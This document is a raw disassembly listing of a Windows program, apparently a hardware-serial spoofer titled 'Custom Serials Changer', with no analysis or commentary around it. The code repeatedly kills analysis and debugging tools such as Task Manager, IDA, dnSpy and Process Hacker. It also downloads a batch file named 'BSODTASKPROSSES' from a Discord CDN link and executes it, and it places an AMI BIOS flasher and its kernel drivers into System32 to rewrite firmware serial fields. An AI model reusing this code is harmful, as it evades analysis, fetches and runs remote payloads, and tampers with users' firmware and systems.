lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rsp + 0xae90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaeb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaed0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaef0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaf10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaf30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaf50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaf70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaf90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xafb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xafd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaff0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb010]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb030]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb050]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb070]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb090]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb0b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb0d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb0f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb110]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb130]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb150]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb170]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb190]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb1b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb1d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb1f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb210]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb230]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb250]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb270]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb290]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb2b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb2d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb2f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb310]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb330]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb350]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb370]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb390]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb3b0]
call fcn.14005d8e0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x100
lea r8, [0x140406bd0]
lea rdx, str.Custom_Serials_Changer
lea rcx, str.KeyInput
call fcn.1400f7f50
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
movss xmm2, dword [0x14039ce0c]
movss xmm1, dword [0x14039ce3c]
lea rcx, [rsp + 0x1ce8]
call fcn.14005eef0
mov rdx, rax
lea rcx, [0x1403990b4]
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400a4f7b
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xc170]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xc150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xc150]
call fcn.14005d8d0
mov qword [rsp + 0x1520], rax
lea rcx, [rsp + 0xc170]
call fcn.14005d8d0
mov qword [rsp + 0x1528], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1520]
mov rdx, qword [rsp + 0x1528]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32Mobo.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769226113054_AMI.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769909780491_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv32.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769582620694_amifldrv32.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windows_nfLauncher.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1139989094840152174_nfLauncher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9678]
call fcn.14005d9d0
mov qword [rsp + 0x1530], rax
mov rax, qword [rsp + 0x1530]
mov qword [rsp + 0x1538], rax
mov r8, qword [rsp + 0x1538]
lea rdx, [0x140396480]
lea rcx, [rsp + 0xc130]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9678]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9698]
call fcn.14005d9d0
mov qword [rsp + 0x1540], rax
mov rax, qword [rsp + 0x1540]
mov qword [rsp + 0x1548], rax
mov r8, qword [rsp + 0x1548]
lea rdx, str.C:WindowsSystem32Mobo.exe__SS
lea rcx, [rsp + 0xc110]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9698]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x96b8]
call fcn.14005d9d0
mov qword [rsp + 0x1550], rax
mov rax, qword [rsp + 0x1550]
mov qword [rsp + 0x1558], rax
mov r8, qword [rsp + 0x1558]
lea rdx, str.C:WindowsSystem32Mobo.exe__BS
lea rcx, [rsp + 0xc0f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x96b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x96d8]
call fcn.14005d9d0
mov qword [rsp + 0x1560], rax
mov rax, qword [rsp + 0x1560]
mov qword [rsp + 0x1568], rax
mov r8, qword [rsp + 0x1568]
lea rdx, str.C:WindowsSystem32Mobo.exe__SV
lea rcx, [rsp + 0xc0d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x96d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x96f8]
call fcn.14005d9d0
mov qword [rsp + 0x1570], rax
mov rax, qword [rsp + 0x1570]
mov qword [rsp + 0x1578], rax
mov r8, qword [rsp + 0x1578]
lea rdx, str.C:WindowsSystem32Mobo.exe__BV
lea rcx, [rsp + 0xc0b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x96f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9718]
call fcn.14005d9d0
mov qword [rsp + 0x1580], rax
mov rax, qword [rsp + 0x1580]
mov qword [rsp + 0x1588], rax
mov r8, qword [rsp + 0x1588]
lea rdx, str.C:WindowsSystem32Mobo.exe__BS
lea rcx, [rsp + 0xc090]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9718]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x88f8]
call fcn.14005d9d0
mov qword [rsp + 0x1590], rax
mov rax, qword [rsp + 0x1590]
mov qword [rsp + 0x1598], rax
mov r8, qword [rsp + 0x1598]
lea rdx, str.C:WindowsSystem32Mobo.exe__CS
lea rcx, [rsp + 0xc070]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x88f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9738]
call fcn.14005d9d0
mov qword [rsp + 0x15a0], rax
mov rax, qword [rsp + 0x15a0]
mov qword [rsp + 0x15a8], rax
mov r8, qword [rsp + 0x15a8]
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN
lea rcx, [rsp + 0xc050]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9738]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9758]
call fcn.14005d9d0
mov qword [rsp + 0x15b0], rax
mov rax, qword [rsp + 0x15b0]
mov qword [rsp + 0x15b8], rax
mov r8, qword [rsp + 0x15b8]
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT
lea rcx, [rsp + 0xc030]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9758]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9778]
call fcn.14005d9d0
mov qword [rsp + 0x15c0], rax
mov rax, qword [rsp + 0x15c0]
mov qword [rsp + 0x15c8], rax
mov r8, qword [rsp + 0x15c8]
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN
lea rcx, [rsp + 0xc010]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9778]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9798]
call fcn.14005d9d0
mov qword [rsp + 0x15d0], rax
mov rax, qword [rsp + 0x15d0]
mov qword [rsp + 0x15d8], rax
mov r8, qword [rsp + 0x15d8]
lea rdx, str.C:WindowsSystem32Mobo.exe__IV
lea rcx, [rsp + 0xbff0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9798]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x97b8]
call fcn.14005d9d0
mov qword [rsp + 0x15e0], rax
mov rax, qword [rsp + 0x15e0]
mov qword [rsp + 0x15e8], rax
mov r8, qword [rsp + 0x15e8]
lea rdx, str.C:WindowsSystem32Mobo.exe__SM
lea rcx, [rsp + 0xbfd0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x97b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x97d8]
call fcn.14005d9d0
mov qword [rsp + 0x15f0], rax
mov rax, qword [rsp + 0x15f0]
mov qword [rsp + 0x15f8], rax
mov r8, qword [rsp + 0x15f8]
lea rdx, str.C:WindowsSystem32Mobo.exe__SP
lea rcx, [rsp + 0xbfb0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x97d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x97f8]
call fcn.14005d9d0
mov qword [rsp + 0x1600], rax
mov rax, qword [rsp + 0x1600]
mov qword [rsp + 0x1608], rax
mov r8, qword [rsp + 0x1608]
lea rdx, str.C:WindowsSystem32Mobo.exe__SF
lea rcx, [rsp + 0xbf90]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x97f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9818]
call fcn.14005d9d0
mov qword [rsp + 0x1610], rax
mov rax, qword [rsp + 0x1610]
mov qword [rsp + 0x1618], rax
mov r8, qword [rsp + 0x1618]
lea rdx, str.C:WindowsSystem32Mobo.exe__BM
lea rcx, [rsp + 0xbf70]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9818]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9838]
call fcn.14005d9d0
mov qword [rsp + 0x1620], rax
mov rax, qword [rsp + 0x1620]
mov qword [rsp + 0x1628], rax
mov r8, qword [rsp + 0x1628]
lea rdx, str.C:WindowsSystem32Mobo.exe__BP
lea rcx, [rsp + 0xbf50]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9838]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9858]
call fcn.14005d9d0
mov qword [rsp + 0x1630], rax
mov rax, qword [rsp + 0x1630]
mov qword [rsp + 0x1638], rax
mov r8, qword [rsp + 0x1638]
lea rdx, str.C:WindowsSystem32Mobo.exe__BT
lea rcx, [rsp + 0xbf30]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9858]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9878]
call fcn.14005d9d0
mov qword [rsp + 0x1640], rax
mov rax, qword [rsp + 0x1640]
mov qword [rsp + 0x1648], rax
mov r8, qword [rsp + 0x1648]
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC
lea rcx, [rsp + 0xbf10]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9878]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9898]
call fcn.14005d9d0
mov qword [rsp + 0x1650], rax
mov rax, qword [rsp + 0x1650]
mov qword [rsp + 0x1658], rax
mov r8, qword [rsp + 0x1658]
lea rdx, str.C:WindowsSystem32Mobo.exe__CM
lea rcx, [rsp + 0xbef0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9898]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x98b8]
call fcn.14005d9d0
mov qword [rsp + 0x1660], rax
mov rax, qword [rsp + 0x1660]
mov qword [rsp + 0x1a00], rax
mov r8, qword [rsp + 0x1a00]
lea rdx, str.C:WindowsSystem32Mobo.exe__CT
lea rcx, [rsp + 0xbed0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x98b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
